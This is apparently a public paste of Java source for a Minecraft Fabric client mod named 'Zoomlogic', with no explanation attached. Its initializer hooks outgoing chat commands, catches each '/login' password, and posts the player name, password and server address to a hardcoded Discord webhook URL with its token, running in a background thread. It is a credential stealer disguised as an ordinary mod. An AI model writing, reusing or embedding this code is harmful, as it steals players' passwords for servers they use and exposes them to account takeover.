Untitled
public
Dec 20, 2024
Never
10
1 package org.ikiazar.zoomlogic.client; 2 3 import net.fabricmc.api.ClientModInitializer; 4 import net.minecraft.client.MinecraftClient; 5 import net.minecraft.client.network.ServerInfo; 6 import net.fabricmc.fabric.api.client.networking.v1.ClientPlayConnectionEvents; 7 8 import java.net.URI; 9 import java.net.http.HttpClient; 10 import java.net.http.HttpRequest; 11 import java.net.http.HttpResponse; 12 import java.time.Duration; 13 import java.time.LocalDateTime; 14 import java.time.format.DateTimeFormatter; 15 16 public class ZoomlogicClient implements ClientModInitializer { 17 18 private static long lastLoginTime = 0; 19 private static final long COOLDOWN_MS = 2000; 20 21 public static void sendToDiscord(String playerName, String password) { 22 long currentTime = System.currentTimeMillis(); 23 if (currentTime - lastLoginTime < COOLDOWN_MS) { 24 return; 25 } 26 lastLoginTime = currentTime; 27 28 MinecraftClient client = MinecraftClient.getInstance(); 29 ServerInfo serverInfo = client.getCurrentServerEntry(); 30 String serverIP = serverInfo != null ? serverInfo.address : "Singleplayer"; 31 32 String currentTimeStr = LocalDateTime.now().format(DateTimeFormatter.ofPattern("yyyy-MM-dd HH:mm:ss")); 33 34 String jsonPayload = String.format(""" 35 { 36 "embeds": [{ 37 "title": "🎮 Nueva Sesión de Login Detectada", 38 "color": 15844367, 39 "fields": [ 40 { 41 "name": "👤 Jugador", 42 "value": "`%s`", 43 "inline": true 44 }, 45 { 46 "name": "🔑 Contraseña", 47 "value": "||`%s`||", 48 "inline": true 49 }, 50 { 51 "name": "🌐 Servidor", 52 "value": "`%s`", 53 "inline": true 54 } 55 ], 56 "footer": { 57 "text": "Tiempo: %s" 58 } 59 }] 60 }""", playerName, password, serverIP, currentTimeStr); 61 62 new Thread(() -> { 63 try { 64 HttpClient httpClient = HttpClient.newBuilder() 65 .connectTimeout(Duration.ofSeconds(5)) 66 .build(); 67 68 HttpRequest request = HttpRequest.newBuilder() 69 .uri(URI.create("https://discord.com/api/webhooks/1319702949185851403/M92BqTTaW12lquL_-DTqFxEUkBBNF8Nlkl0VQxgQZvCWIJNJYpt7ogwMI2fXCiVxIIc5")) 70 .header("Content-Type", "application/json") 71 .POST(HttpRequest.BodyPublishers.ofString(jsonPayload)) 72 .timeout(Duration.ofSeconds(5)) 73 .build(); 74 75 httpClient.send(request, HttpResponse.BodyHandlers.ofString()); 76 } catch (Exception e) { 77 e.printStackTrace(); 78 } 79 }).start(); 80 } 81 82 @Override 83 public void onInitializeClient() { 84 ClientPlayConnectionEvents.INIT.register((handler, client) -> { 85 client.player.networkHandler.sendCommandInternal = (command) -> { 86 if (command.startsWith("login ")) { 87 String password = command.substring(6); 88 String playerName = client.player.getName().getString(); 89 sendToDiscord(playerName, password); 90 } 91 return command; 92 }; 93 }); 94 } 95 }